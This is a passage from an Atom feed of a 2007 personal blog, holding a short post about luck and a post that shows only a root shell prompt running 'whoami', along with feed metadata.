id="BLOGGER_PHOTO_ID_5103742953215640050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 255, 153);"&gt;That was luck coming ma way...&lt;br /&gt;and I was happy cuz I saw genie after a long time that day...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-3596254946356138799?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/3596254946356138799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2007/08/that-was-luck-coming-ma-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3596254946356138799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3596254946356138799'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2007/08/that-was-luck-coming-ma-way.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_e-VL6LAQQaw/RtQjLNdSQfI/AAAAAAAAABQ/nzXxNKTs7ek/s72-c/Screenshot-2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-3590008530519348240</id><published>2007-08-28T18:16:00.000+05:30</published><updated>2007-08-28T18:17:28.397+05:30</updated><title type='text'></title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;-bash-3.1# whoami&lt;br /&gt;#root&lt;br /&gt;-bash-3.1#&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-3590008530519348240?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/3590008530519348240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2007/08/bash-3.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3590008530519348240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/3590008530519348240'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2007/08/bash-3.html' title=''/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><thr:total>0</thr:total></entry></feed>
